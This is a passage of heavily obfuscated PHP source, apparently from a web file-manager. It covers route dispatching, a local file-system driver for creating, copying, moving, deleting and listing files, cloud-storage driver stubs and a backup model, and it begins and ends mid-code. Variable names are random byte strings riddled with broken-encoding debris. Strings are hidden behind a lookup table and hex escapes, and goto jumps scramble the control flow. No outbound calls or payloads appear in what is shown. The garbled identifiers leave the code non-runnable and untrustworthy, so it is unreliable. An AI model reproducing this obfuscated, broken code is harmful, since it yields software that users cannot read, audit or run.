self::$routes = preg_replace($º´šÆÇ©[1354], $º´šÆÇ©[8], self::$routes); if (in_array($“²µïÆ‘, self::$routes)) { $ø§”´—£ = array_keys(self::$routes, $“²µïÆ‘); foreach ($ø§”´—£ as $¬¹Ê„ë†) { if (self::$methods[$¬¹Ê„ë†] == $ÌÇ‘½ÚÙ || self::$methods[$¬¹Ê„ë†] == $º´šÆÇ©[1702] || in_array($ÌÇ‘½ÚÙ, self::$maps[$¬¹Ê„ë†])) { $¥›‚ÏÃõ = !0; if (!is_object(self::$callbacks[$¬¹Ê„ë†])) { $˃‘Í£Õ = explode($º´šÆÇ©[8], self::$callbacks[$¬¹Ê„ë†]); $<24>ŽðÝ®¥ = end($˃‘Í£Õ); $ Ô¹ªÖÕ = explode($º´šÆÇ©[1286], $<24>ŽðÝ®¥); $ìÙ“ó„ü = new $ Ô¹ªÖÕ[0](); $ìÙ“ó„ü->{$ Ô¹ªÖÕ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$¬¹Ê„ë†]); if (self::$halts) { return; } } } } } else { $“¿íÑÀê = 0; foreach (self::$routes as $¬¹Ê„ë†) { if (strpos($¬¹Ê„ë†, $º´šÆÇ©[4]) !== !1) { $¬¹Ê„ë† = str_replace($“³˜å“ž, $ü»ùÅ<E28098>, $¬¹Ê„ë†); } if (preg_match($º´šÆÇ©[1703] . $¬¹Ê„ë† . $º´šÆÇ©[1704], $“²µïÆ‘, $† ¡€‰ñ)) { if (self::$methods[$“¿íÑÀê] == $ÌÇ‘½ÚÙ || self::$methods[$“¿íÑÀê] == $º´šÆÇ©[1702] || !empty(self::$maps[$“¿íÑÀê]) && in_array($ÌÇ‘½ÚÙ, self::$maps[$“¿íÑÀê])) { $¥›‚ÏÃõ = !0; array_shift($† ¡€‰ñ); if (!is_object(self::$callbacks[$“¿íÑÀê])) { $˃‘Í£Õ = explode($º´šÆÇ©[8], self::$callbacks[$“¿íÑÀê]); $<24>ŽðÝ®¥ = end($˃‘Í£Õ); $ Ô¹ªÖÕ = explode($º´šÆÇ©[1286], $<24>ŽðÝ®¥); $ìÙ“ó„ü = new $ Ô¹ªÖÕ[0](); if (!method_exists($ìÙ“ó„ü, $ Ô¹ªÖÕ[1])) { echo $º´šÆÇ©[1705]; } else { call_user_func_array(array($ìÙ“ó„ü, $ Ô¹ªÖÕ[1]), $† ¡€‰ñ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$“¿íÑÀê], $† ¡€‰ñ); if (self::$halts) { return; } } } } $“¿íÑÀê++; } } if ($¥›‚ÏÃõ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $„ýî­Áµ =& $_SERVER[ˆ¡¹µ‹Â]; header($_SERVER[$„ýî­Áµ[1706]] . $„ýî­Áµ[1707]); echo $„ýî­Áµ[1708]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$º´šÆÇ©[1701]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto DÓ챈µ—; E ‡ï<C3AF>ŒÀ: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($<24>Œ¾ç…Ê) { if (substr($<24>Œ¾ç…Ê, 0, 2) == $_SERVER[ˆ¡¹µ‹Â][1403]) { $<24>Œ¾ç…Ê = BASIC_PATH . substr($<24>Œ¾ç…Ê, 2); } return $<24>Œ¾ç…Ê; } public function iconvApp($«Ô¡ª<C2A1>) { $ûŸ±×¹Ì =& $_SERVER[ˆ¡¹µ‹Â]; global $config; return $this->iconvTo($«Ô¡ª<C2A1>, $config[$ûŸ±×¹Ì[1430]], $config[$ûŸ±×¹Ì[1429]]); } public function iconvSystem($Í÷‘‘öõ) { $³„<C2B3>ø•ß =& $_SERVER[ˆ¡¹µ‹Â]; global $config; return $this->iconvTo($Í÷‘‘öõ, $config[$³„<C2B3>ø•ß[1429]], $config[$³„<C2B3>ø•ß[1430]]); } public function getPathOuter($œÄÊ»ëÎ) { $ŒóÄȕà =& $_SERVER[ˆ¡¹µ‹Â]; $<24>ùõ猣 = $this->iconvApp($this->pathBase); $œÄÊ»ëÎ = $this->iconvApp($œÄÊ»ëÎ); if (substr($<24>ùõ猣, 0, 2) == $ŒóÄÈ•Ã[1403]) { $<24>ùõ猣 = BASIC_PATH . substr($<24>ùõ猣, 2); } if (substr($œÄÊ»ëÎ, 0, 2) == $ŒóÄÈ•Ã[1403]) { $œÄÊ»ëÎ = BASIC_PATH . substr($œÄÊ»ëÎ, 2); } $<24>ùõ猣 = KodIO::clear($<24>ùõ猣); $œÄÊ»ëÎ = KodIO::clear($œÄÊ»ëÎ); $œÄÊ»ëÎ = substr($œÄÊ»ëÎ, strlen($<24>ùõ猣)); if (empty($this->pathDriver)) { return $œÄÊ»ëÎ; } return $this->pathDriver . $ŒóÄÈ•Ã[8] . ltrim($œÄÊ»ëÎ, $ŒóÄÈ•Ã[8]); } public function mkfile($<24>Ц¯±¹, $Ÿñ‹ÓÔå = '', $Á‡Ò×Ðý = REPEAT_RENAME) { $<24>Ц¯±¹ = $this->iconvSystem($<24>Ц¯±¹); @touch($<24>Ц¯±¹); if ($Ÿñ‹ÓÔå) { file_put_contents($<24>Ц¯±¹, $Ÿñ‹ÓÔå); } @chmod($<24>Ц¯±¹, $this->pathAuth); if (is_file($<24>Ц¯±¹)) { return $this->getPathOuter($<24>Ц¯±¹); } $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } public function mkdir($׈݅¹ò, $ë’ÂùÜö = REPEAT_SKIP) { $׈݅¹ò = $this->iconvSystem($׈݅¹ò); if (is_dir($׈݅¹ò)) { return $this->getPathOuter($׈݅¹ò); } @mkdir($׈݅¹ò, $this->pathAuth, !0); @chmod($׈݅¹ò, $this->pathAuth); if (is_dir($׈݅¹ò)) { return $this->getPathOuter($׈݅¹ò); } $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } public function copyFile($ëþ¾ÂõÄ, $<24>ç†Î·ª) { $this->mkdir($this->pathFather($<24>ç†Î·ª)); $ëþ¾ÂõÄ = $this->iconvSystem($ëþ¾ÂõÄ); $<24>ç†Î·ª = $this->iconvSystem($<24>ç†Î·ª); $ ø<C2A0>‰¦¢ = copy_64($ëþ¾ÂõÄ, $<24>ç†Î·ª); @chmod($<24>ç†Î·ª, $this->pathAuth); if ($ ø<C2A0>‰¦¢) { return $this->getPathOuter($<24>ç†Î·ª); } $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } public function moveFile($Ûè™Ñ¿¥, $üŸ<C3BC>É„) { $this->mkdir($this->pathFather($üŸ<C3BC>É„)); $Ûè™Ñ¿¥ = $this->iconvSystem($Ûè™Ñ¿¥); $üŸ<C3BC>É„ = $this->iconvSystem($üŸ<C3BC>É„); $䎔º‹« = intval(@rename($Ûè™Ñ¿¥, $üŸ<C3BC>É„)); if (!$䎔º‹«) { if ($䎔º‹« = intval(@copy_64($Ûè™Ñ¿¥, $üŸ<C3BC>É„))) { @unlink($Ûè™Ñ¿¥); } } @chmod($üŸ<C3BC>É„, $this->pathAuth); if ($䎔º‹«) { return $this->getPathOuter($üŸ<C3BC>É„); } $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } public function movePath($Øïũ۲, $Ý辡դ, $ù Þ•î’ = false) { $ßΞ˜ˆâ =& $_SERVER[ˆ¡¹µ‹Â]; $Øïũ۲ = $this->iconvSystem($Øïũ۲); $Ý辡դ = $this->iconvSystem($Ý辡դ); $•ºóœ<C3B3>Ç = rtrim($Ý辡դ, $ßΞ˜ˆâ[8]) . $ßΞ˜ˆâ[8] . ($ù Þ•î’ ? $ù Þ•î’ : get_path_this($Øïũ۲)); if (file_exists($•ºóœ<C3B3>Ç)) { return !1; } $§Ìø½â› = intval(@rename($Øïũ۲, $•ºóœ<C3B3>Ç)); $§Ìø½â› = file_exists($•ºóœ<C3B3>Ç); if ($§Ìø½â›) { return $this->getPathOuter($•ºóœ<C3B3>Ç); } $this->writeLog(__FUNCTION__ . $ßΞ˜ˆâ[1441], !0); return !1; } public function delFile($µË¼Ì<C2BC>) { $µË¼Ì<C2BC> = $this->iconvSystem($µË¼Ì<C2BC>); if (!@unlink($µË¼Ì<C2BC>)) { @chmod($µË¼Ì<C2BC>, $this->pathAuth); if (@unlink($µË¼Ì<C2BC>)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); return !1; } return !0; } public function delFolder($™Ï<E284A2>êÃ) { $΋‘õ…† =& $_SERVER[ˆ¡¹µ‹Â]; $™Ï<E284A2>êà = $this->iconvSystem($™Ï<E284A2>êÃ); if (!is_dir($™Ï<E284A2>êÃ)) { return !0; } if (!($§‚ìÔïÎ = opendir($™Ï<E284A2>êÃ))) { return !1; } while (($¿ð÷äþÕ = readdir($§‚ìÔïÎ)) !== !1) { if ($¿ð÷äþÕ == $΋‘õ…†[10] || $¿ð÷äþÕ == $΋‘õ…†[1356]) { continue; } $àžÀ¥¡÷ = $™Ï<E284A2>êà . $΋‘õ…†[8] . $¿ð÷äþÕ; if (is_file($àžÀ¥¡÷) || is_link($àžÀ¥¡÷)) { if (!unlink($àžÀ¥¡÷)) { chmod($àžÀ¥¡÷, $this->pathAuth); if (!unlink($àžÀ¥¡÷)) { return !1; } } } else { if (is_dir($àžÀ¥¡÷)) { chmod($àžÀ¥¡÷, $this->pathAuth); $àžÀ¥¡÷ = $this->iconvApp($àžÀ¥¡÷); if (!$this->delFolder($àžÀ¥¡÷)) { return !1; } } } } closedir($§‚ìÔïÎ); return rmdir($™Ï<E284A2>êÃ); } public function rename($<24>Ü©ÆÖÐ, $ÞÔÒÅÝä) { $¯”ª«²£ =& $_SERVER[ˆ¡¹µ‹Â]; $ô½×ÃÂÙ = $this->fileNameAuto($this->pathFather($<24>Ü©ÆÖÐ), $ÞÔÒÅÝä); $ô½×ÃÂÙ = $this->iconvSystem($ô½×ÃÂÙ); $<24>Ü©ÆÖÐ = $this->iconvSystem($<24>Ü©ÆÖÐ); $—¯ Æíƒ = $this->pathFather($<24>Ü©ÆÖÐ); $†Ú¸«Ëƒ = rtrim($—¯ Æíƒ, $¯”ª«²£[8]) . $¯”ª«²£[8] . $ô½×ÃÂÙ; $ÛÛÞꬂ = @rename($<24>Ü©ÆÖÐ, $†Ú¸«Ëƒ); $†Ú¸«Ëƒ = $this->iconvApp($†Ú¸«Ëƒ); if ($ÛÛÞͨÇ) { return $this->getPathOuter($†Ú¸«Ëƒ); } $this->writeLog(__FUNCTION__ . $¯”ª«²£[1441], !0); return !1; } public function size($½ ÄÕ«õ) { $½ ÄÕ«õ = $this->iconvSystem($½ ÄÕ«õ); return filesize_64($½ ÄÕ«õ); } public function info($ڹ󻶪) { $ڹ󻶪 = $this->iconvSystem($ڹ󻶪); if ($this->isFolder($ڹ󻶪)) { return $this->folderInfo($ڹ󻶪); } else { if ($this->isFile($ڹ󻶪)) { return $this->fileInfo($ڹ󻶪); } } return !1; } protected function infoChildren($å¥<C3A5>ƒ™¶, &$¥ƒÎõÂû, $¡ÖðùÛ× = true) { $ÉŠÒåѬ =& $_SERVER[ˆ¡¹µ‹Â]; check_abort_echo(); $å¥<C3A5>ƒ™¶ = rtrim($å¥<C3A5>ƒ™¶, $ÉŠÒåѬ[8]) . $ÉŠÒåѬ[8]; if ($¡ÖðùÛ×) { $å¥<C3A5>ƒ™¶ = $this->iconvSystem($å¥<C3A5>ƒ™¶); } if (!($レ¿Ï³ = @opendir($å¥<C3A5>ƒ™¶))) { return; } while (($ÌüˆË<CB86>Þ = readdir($レ¿Ï³)) !== !1) { if ($ÌüˆË<CB86>Þ == $ÉŠÒåѬ[10] || $ÌüˆË<CB86>Þ == $ÉŠÒåѬ[1356]) { continue; } $û†“ = $å¥<C3A5>ƒ™¶ . $ÌüˆË<CB86>Þ; if (is_file($û†“) || is_link($û†“)) { $¥ƒÎõÂû[$ÉŠÒåѬ[80]]++; $¥ƒÎõÂû[$ÉŠÒåѬ[79]] += filesize_64($û†“); } else { if (is_dir($û†“)) { $¥ƒÎõÂû[$ÉŠÒåѬ[81]]++; $this->infoChildren($û†“, $¥ƒÎõÂû, !1); } } } closedir($レ¿Ï³); } private function folderInfo($– ‹Ñ²¼, $<24>ÖîËÃõ = false) { $¶ú×ÛöÐ =& $_SERVER[ˆ¡¹µ‹Â]; $– ‹Ñ²¼ = rtrim($– ‹Ñ²¼, $¶ú×ÛöÐ[8]) . $¶ú×ÛöÐ[8]; $ïåûм¸ = $this->iconvApp($this->pathThis($– ‹Ñ²¼)); if ($<24>ÖîËÃõ) { return array($¶ú×ÛöÐ[32] => $ïåûм¸, $¶ú×ÛöÐ[87] => $this->getPathOuter($– ‹Ñ²¼), $¶ú×ÛöÐ[33] => $¶ú×ÛöÐ[78]); } $‹ªÞߊþ = array($¶ú×ÛöÐ[32] => $ïåûм¸, $¶ú×ÛöÐ[87] => $this->getPathOuter($– ‹Ñ²¼), $¶ú×ÛöÐ[33] => $¶ú×ÛöÐ[78], $¶ú×ÛöÐ[231] => @filectime($– ‹Ñ²¼), $¶ú×ÛöÐ[88] => @filemtime($– ‹Ñ²¼), $¶ú×ÛöÐ[1445] => @fileatime($– ‹Ñ²¼), $¶ú×ÛöÐ[1446] => is_readable($– ‹Ñ²¼), $¶ú×ÛöÐ[1447] => is_writable($– ‹Ñ²¼), $¶ú×ÛöÐ[1448] => get_mode($– ‹Ñ²¼)); return $‹ªÞߊþ; } private function fileInfo($éâõòï¶, $»…ßêˆô = false) { $’Óƒ‹µò =& $_SERVER[ˆ¡¹µ‹Â]; $¹üûП« = $this->iconvApp($this->pathThis($éâõòï¶)); if ($»…ßêˆô) { return array($’Óƒ‹µò[32] => $¹üûП«, $’Óƒ‹µò[87] => $this->getPathOuter($éâõòï¶), $’Óƒ‹µò[33] => $’Óƒ‹µò[230], $’Óƒ‹µò[79] => $this->size($éâõòï¶), $’Óƒ‹µò[169] => $this->ext($¹üûП«)); } $ëË’–Éà = array($’Óƒ‹µò[32] => $¹üûП«, $’Óƒ‹µò[87] => $this->getPathOuter($éâõòï¶), $’Óƒ‹µò[33] => $’Óƒ‹µò[230], $’Óƒ‹µò[231] => @filectime($éâõòï¶), $’Óƒ‹µò[88] => @filemtime($éâõòï¶), $’Óƒ‹µò[1445] => @fileatime($éâõòï¶), $’Óƒ‹µò[79] => $this->size($éâõòï¶), $’Óƒ‹µò[169] => $this->ext($¹üûП«), $’Óƒ‹µò[1446] => is_readable($éâõòï¶), $’Óƒ‹µò[1447] => is_writable($éâõòï¶), $’Óƒ‹µò[1448] => get_mode($éâõòï¶)); return $ëË’–Éà; } public function exist($ƒ Àß™«) { $ƒ Àß™« = $this->iconvSystem($ƒ Àß™«); return @file_exists($ƒ Àß™«); } public function isFile($¹¢öƒ…ç) { $¹¢öƒ…ç = $this->iconvSystem($¹¢öƒ…ç); return @is_file($¹¢öƒ…ç); } public function isFolder($Äß÷Ë¡â) { $Äß÷Ë¡â = $this->iconvSystem($Äß÷Ë¡â); return @is_dir($Äß÷Ë¡â); } public function listPath($€½ŽÚ·<C39A>, $×®Í‹éŽ = false) { $ÌÇÀé¬Ò =& $_SERVER[ˆ¡¹µ‹Â]; $€½ŽÚ·<C39A> = $this->iconvSystem($€½ŽÚ·<C39A>); $€½ŽÚ·<C39A> = rtrim($€½ŽÚ·<C39A>, $ÌÇÀé¬Ò[8]) . $ÌÇÀé¬Ò[8]; $öÚ« À˜ = array($ÌÇÀé¬Ò[85] => array(), $ÌÇÀé¬Ò[86] => array()); if (!($¥Ž–Îáû = @opendir($€½ŽÚ·<C39A>))) { return $öÚ« À˜; } while (($<24>¿¸ÊŸË = readdir($¥Ž–Îáû)) !== !1) { if ($<24>¿¸ÊŸË == $ÌÇÀé¬Ò[10] || $<24>¿¸ÊŸË == $ÌÇÀé¬Ò[1356]) { continue; } $®‰”å<E28093> = $€½ŽÚ·<C39A> . $<24>¿¸ÊŸË; if (is_file($®‰”å<E28093>)) { $öÚ« À˜[$ÌÇÀé¬Ò[86]][] = $this->fileInfo($®‰”å<E28093>, $׮͋éŽ); } else { $öÚ« À˜[$ÌÇÀé¬Ò[85]][] = $this->folderInfo($®‰”å<E28093>, $׮͋éŽ); } } closedir($¥Ž–Îáû); return $öÚ« À˜; } public function listAll($Ͷ¹Ó˜ª, &$‰Ê»óš‘ = array()) { $äÌÜÜຠ=& $_SERVER[ˆ¡¹µ‹Â]; $Ͷ¹Ó˜ª = $this->iconvSystem($Ͷ¹Ó˜ª); $Ͷ¹Ó˜ª = rtrim($Ͷ¹Ó˜ª, $äÌÜÜàº[8]) . $äÌÜÜàº[8]; if (!($ä«ó©½Á = @opendir($Ͷ¹Ó˜ª))) { return $‰Ê»óš‘; } while (($µ¶¥Ö×<C396> = readdir($ä«ó©½Á)) !== !1) { if ($µ¶¥Ö×<C396> == $äÌÜÜàº[10] || $µ¶¥Ö×<C396> == $äÌÜÜàº[1356]) { continue; } $¥¶ÇÜ´<C39C> = $Ͷ¹Ó˜ª . $µ¶¥Ö×<C396>; $ì<>Ǘˈ = is_dir($¥¶ÇÜ´<C39C>) && !is_link($¥¶ÇÜ´<C39C>) ? 1 : 0; $¥¶ÇÜ´<C39C> = $ì<>Ǘˈ ? $¥¶ÇÜ´<C39C> . $äÌÜÜàº[8] : $¥¶ÇÜ´<C39C>; $‰Ê»óš‘[] = array($äÌÜÜàº[87] => $¥¶ÇÜ´<C39C>, $äÌÜÜàº[78] => $ì<>Ǘˈ, $äÌÜÜàº[88] => intval(@filemtime($¥¶ÇÜ´<C39C>)), $äÌÜÜàº[79] => $ì<>Ǘˈ ? 0 : intval($this->size($¥¶ÇÜ´<C39C>))); if ($ì<>Ǘˈ) { $this->listAll($¥¶ÇÜ´<C39C>, $‰Ê»óš‘); } } closedir($ä«ó©½Á); return $‰Ê»óš‘; } public function has($ºê°Âñ‹, $¹Ëþ—ÃÜ = false, $ƒ¿… Þ˜ = true) { $™Ï¼Ù»<C399> =& $_SERVER[ˆ¡¹µ‹Â]; $ºê°Âñ‹ = $this->iconvSystem($ºê°Âñ‹); $ºê°Âñ‹ = rtrim($ºê°Âñ‹, $™Ï¼Ù»<C399>[8]) . $™Ï¼Ù»<C399>[8]; if (!($þž¼žôÛ = @opendir($ºê°Âñ‹))) { return !1; } $ó€´ß½ý = 0; $Ó±‡Ãèå = 0; $Ûžž£<C5BE>å = 0; while (($Â魮Ƃ = readdir($þž¼žôÛ)) !== !1) { if ($Â魮Ƃ == $™Ï¼Ù»<C399>[10] || $Â魮Ƃ == $™Ï¼Ù»<C399>[1356]) { continue; } $²<>ê¡Î<C2A1> = $ºê°Âñ‹ . $Â魮Ƃ; if ($¹Ëþ—ÃÜ) { $Ûžž£<C5BE>å++; if (@is_file($²<>ê¡Î<C2A1>)) { $ó€´ß½ý++; } else { $Ó±‡Ãèå++; } if ($Ûžž£<C5BE>å > 10000) { break; } continue; } if ($ƒ¿… Þ˜) { if (@is_file($²<>ê¡Î<C2A1>)) { return !0; } } else { if (@is_dir($²<>ê¡Î<C2A1> . $™Ï¼Ù»<C399>[8])) { return !0; } } } closedir($þž¼žôÛ); if ($¹Ëþ—ÃÜ) { return array($™Ï¼Ù»<C399>[239] => $ó€´ß½ý, $™Ï¼Ù»<C399>[240] => $Ó±‡Ãèå); } return !1; } public function hashSimple($çëÆ¿áÔ) { $·¿”§†<C2A7> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$çëÆ¿áÔ) { return md5($·¿”§†<C2A7>[12]); } $çëÆ¿áÔ = $this->iconvSystem($çëÆ¿áÔ); $Кú¥åñ = $this->size($çëÆ¿áÔ); $ÄÛèÛšé = 200; $¯›‚ßœ¤ = 50; if ($Кú¥åñ <= $ÄÛèÛšé * $¯›‚ßœ¤) { return $this->hashMd5($çëÆ¿áÔ) . $Кú¥åñ; } $לŒ‰Ü¼ = $·¿”§†<C2A7>[12]; $™µ÷¯Ž‡ = intval($Кú¥åñ / $¯›‚ßœ¤); $ü™Ö‹Õ¹ = fopen($çëÆ¿áÔ, $·¿”§†<C2A7>[1449]); if (!$ü™Ö‹Õ¹) { return $לŒ‰Ü¼; } for ($ãÔÞ¿³<C2BF> = 0; $ãÔÞ¿³<C2BF> < $¯›‚ßœ¤; $ãÔÞ¿³<C2BF>++) { fseek_64($ü™Ö‹Õ¹, $™µ÷¯Ž‡ * $ãÔÞ¿³<C2BF>); $לŒ‰Ü¼ .= fread($ü™Ö‹Õ¹, $ÄÛèÛšé); } fseek_64($ü™Ö‹Õ¹, $Кú¥åñ - $ÄÛèÛšé); $לŒ‰Ü¼ .= fread($ü™Ö‹Õ¹, $ÄÛèÛšé); fclose($ü™Ö‹Õ¹); return md5($לŒ‰Ü¼) . $Кú¥åñ; } public function getContent($褣„›…) { $褣„›… = $this->iconvSystem($褣„›…); return file_get_contents($褣„›…); } public function setContent($—­è¹Ëœ, $ªàõŠ¤Ê = '') { $—­è¹Ëœ = $this->iconvSystem($—­è¹Ëœ); $´°®É‘³ = @file_put_contents($—­è¹Ëœ, $ªàõФÊ, LOCK_EX); if (!$´°®É‘³) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][1441], !0); } clearstatcache(); @chmod($—­è¹Ëœ, $this->pathAuth); return $´°®É‘³ === !1 ? !1 : !0; } public function fileSubstr($Ÿè£<C3A8>çˆ, $²óéû†Ó = 0, $¥ŒëÇò¨ = false) { $<24>À»„§ë =& $_SERVER[ˆ¡¹µ‹Â]; $Ÿè£<C3A8>çˆ = $this->iconvSystem($Ÿè£<C3A8>çˆ); if ($¥ŒëÇò¨ === !1) { $¥ŒëÇò¨ = $this->size($Ÿè£<C3A8>çˆ); } if ($¥ŒëÇò¨ <= 0) { return $<24>À»„§ë[12]; } $ù®<C3B9>ð¶ç = fopen($Ÿè£<C3A8>çˆ, $<24>À»„§ë[1449]); if (!$ù®<C3B9>ð¶ç) { return !1; } fseek_64($ù®<C3B9>ð¶ç, $²óéû†Ó); $Åቢï<C2A2> = fread($ù®<C3B9>ð¶ç, $¥ŒëÇò¨); fclose($ù®<C3B9>ð¶ç); if (!$Åቢï<C2A2>) { $this->writeLog(__FUNCTION__ . $<24>À»„§ë[1441], !0); } return $Åቢï<C2A2>; } public function upload($¬®ˆêÜ£, $õÈêÅÜí, $êî’Æêá = false, $°«Ø™Ëø = REPEAT_REPLACE) { if ($êî’Æêá) { return $this->moveFile($õÈêÅÜí, $¬®ˆêÜ£); } return $this->copyFile($õÈêÅÜí, $¬®ˆêÜ£); } public function setModifyTime($ìÓɲ±‰, $õެáþû = '') { @touch($ìÓɲ±‰, intval($õެáþû)); } public function download($Җ畆„, $›×ܨêê) { return $this->iconvSystem($Җ畆„); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($—ºÊƇï) { parent::__construct($—ºÊƇï); $this->setSignVersion($_SERVER[ˆ¡¹µ‹Â][247]); } public function fileOutImage($ƃ‡ÖÊÏ, $벌ⅺ = 250) { $âêØüƯ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->size($ƃ‡ÖÊÏ) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ƃ‡ÖÊÏ, $벌ⅺ); } $ÜŒµƒÂö = array($âêØüƯ[1450] => $âêØüƯ[1451] . $벌ⅺ . $âêØüƯ[1452]); $¸æþË“¾ = $this->link($ƃ‡ÖÊÏ, $ÜŒµƒÂö); $this->fileOutLink($¸æþË“¾); } public function fileOutLink($©Ù<C2A9>åÇê) { $› †×¡ö =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($©Ù<C2A9>åÇê, 0, 7) == $› †×¡ö[313]) { $©Ù<C2A9>åÇê = $› †×¡ö[314] . substr($©Ù<C2A9>åÇê, 7); } header($› †×¡ö[175] . $©Ù<C2A9>åÇê); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ÂÙ<C382>­½Þ) { parent::__construct($ÂÙ<C382>­½Þ); $this->setSignVersion($_SERVER[ˆ¡¹µ‹Â][247]); } public function fileOutLink($¯š¶ý¬‘) { $ãœìì<C3AC>˜ =& $_SERVER[ˆ¡¹µ‹Â]; if (substr($¯š¶ý¬‘, 0, 7) == $ãœìì<C3AC>˜[313]) { $¯š¶ý¬‘ = $ãœìì<C3AC>˜[314] . substr($¯š¶ý¬‘, 7); } header($ãœìì<C3AC>˜[175] . $¯š¶ý¬‘); die; } } goto C¤Ÿ‰õöêÂ; aò µ™ëù: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\145\155\x2e\142\x61\x63\x6b\165\160\114\x69\163\x74"; public $field = array("\x69\x6f", "\156\x61\155\x65", "\x73\164\141\x74\165\x73", "\143\157\156\x74\x65\x6e\x74", "\155\141\156\165\141\154", "\x72\145\x73\x75\154\x74", "\x74\x69\x6d\x65\106\x72\157\x6d", "\x74\151\x6d\x65\x54\157"); public function config() { $<24>£Ùº‡¥ =& $_SERVER[ˆ¡¹µ‹Â]; Action($<24>£Ùº‡¥[1987])->taskInit(); $îí‹•Çü = Model($<24>£Ùº‡¥[837])->get($<24>£Ùº‡¥[858]); $îí‹•Çü = json_decode($îí‹•Çü, !0); $îí‹•Çü = is_array($îí‹•Çü) ? $îí‹•Çü : array(); $this->parseContent($îí‹•Çü); unset($îí‹•Çü[$<24>£Ùº‡¥[1733]]); Model($<24>£Ùº‡¥[1732])->cacheClear(); $£½ùëäÊ = $<24>£Ùº‡¥[1988]; $ç§ñ‚Ìþ = Model($<24>£Ùº‡¥[1989])->findByKey($<24>£Ùº‡¥[1751], $£½ùëäÊ); if (!$ç§ñ‚Ìþ) { $ç§ñ‚Ìþ = array(); } if (isset($ç§ñ‚Ìþ[$<24>£Ùº‡¥[206]])) { $ç§ñ‚Ìþ[$<24>£Ùº‡¥[206]] = json_decode($ç§ñ‚Ìþ[$<24>£Ùº‡¥[206]], !0); } if (isset($îí‹•Çü[$<24>£Ùº‡¥[206]])) { $ç§ñ‚Ìþ[$<24>£Ùº‡¥[206]][$<24>£Ùº‡¥[1736]] = $îí‹•Çü[$<24>£Ùº‡¥[206]]; unset($îí‹•Çü[$<24>£Ùº‡¥[206]]); } return array_merge($ç§ñ‚Ìþ, $îí‹•Çü); } public function listData($¥Ùýù<C3BD>˜ = false, $컘›’Ì = "\155\x6f\144\151\x66\x79\x54\x69\x6d\145", $ñµŒþêÏ = false) { $¾Œ‘þú¢ = parent::listData($¥Ùýù<C3BD>˜, $컘›’Ì, !0); if (!$¾Œ‘þú¢) { return $¾Œ‘þú¢; } if ($¥Ùýù<C3BD>˜) { $¾Œ‘þú¢ = array($¾Œ‘þú¢); } foreach ($¾Œ‘þú¢ as &$<24>Å<EFBFBD>Á¨¤) { $this->parseContent($<24>Å<EFBFBD>Á¨¤); } return $¥Ùýù<C3BD>˜ ? $¾Œ‘þú¢[0] : $¾Œ‘þú¢; } public function parseContent(&$­—è´òÞ) { $Ý“òôã© =& $_SERVER[ˆ¡¹µ‹Â]; $Ó„£Âý» = _get($­—è´òÞ, $Ý“òôã©[171], $Ý“òôã©[91]); if (!in_array($Ó„£Âý», array($Ý“òôã©[843], $Ý“òôã©[1204]))) { $­—è´òÞ[$Ý“òôã©[171]] = $Ó„£Âý» == $Ý“òôã©[91] ? $Ý“òôã©[1204] : $Ý“òôã©[843]; } } public function lastItem() { $º¡Â¸Ú‚ = $this->listData(); return !empty($º¡Â¸Ú‚[0]) ? $º¡Â¸Ú‚[0] : null; } public function kill($êø±–æ©) { $¡ñâòᢠ=& $_SERVER[ˆ¡¹µ‹Â]; $¤ÕÖ»ÃÉ = $this->listData($êø±–æ©); if (!$¤ÕÖ»ÃÉ || empty($¤ÕÖ»ÃÉ[$¡ñâòá¢[32]])) { return !0; } Task::kill($¡ñâòá¢[857]); Task::kill($¡ñâòá¢[875]); Task::kill($¡ñâòá¢[884]); $íƒÖ<C692>Âë = $¤ÕÖ»ÃÉ[$¡ñâòá¢[32]]; $Èø¼ÁŸî = TEMP_FILES . $¡ñâòá¢[854] . $íƒÖ<C692>Âë . $¡ñâòá¢[8]; IO::remove($Èø¼ÁŸî, !1); return $this->remove($êø±–æ©); } public function remove($¾›”ñå•) { $–™ÍÁœë = $this->listData($¾›”ñå•); if (!$–™ÍÁœë) { return !0; } return $this->backupRemove($–™ÍÁœë); } private function backupRemove($–÷ŽÎÑø) { parent::remove($–÷ŽÎÑø[$_SERVER[ˆ¡¹µ‹Â][475]]); $ô«é™°Ú = $this->backupPath($–÷ŽÎÑø); IO::remove($ô«é™°Ú, !1); return !0; } private function backupPath($нÀ<E2809A>) { $㹓²¾‹ =& $_SERVER[ˆ¡¹µ‹Â]; $ ·ß–¿ý = $нÀ<E2809A>[$㹓²¾‹[32]]; $Ýš“ŽÒÍ = Model($㹓²¾‹[837])->get($㹓²¾‹[838]); $“˜¤³÷½ = substr(md5($㹓²¾‹[839] . $Ýš“ŽÒÍ . $ ·ß–¿ý), 0, 8); return "\x7b\x69\157\x3a{$нÀ<E2809A>[$㹓²¾‹[819]]}\175\x2f\144\x61\x74\x61\x62\x61\163\x65\x2f\x62\x61\143\153\165\160\x2f" . $ ·ß–¿ý . $㹓²¾‹[11] . $“˜¤³÷½; } public function start() { $ôÊ<E28099>í =& $_SERVER[ˆ¡¹µ‹Â]; if ($GLOBALS[$ôÊ<E28099>í[6]][$ôÊ<E28099>í[92]][$ôÊ<E28099>í[1990]] != $ôÊ<E28099>í[91]) { return !0; } $Áôýꢬ = $this->config(); if 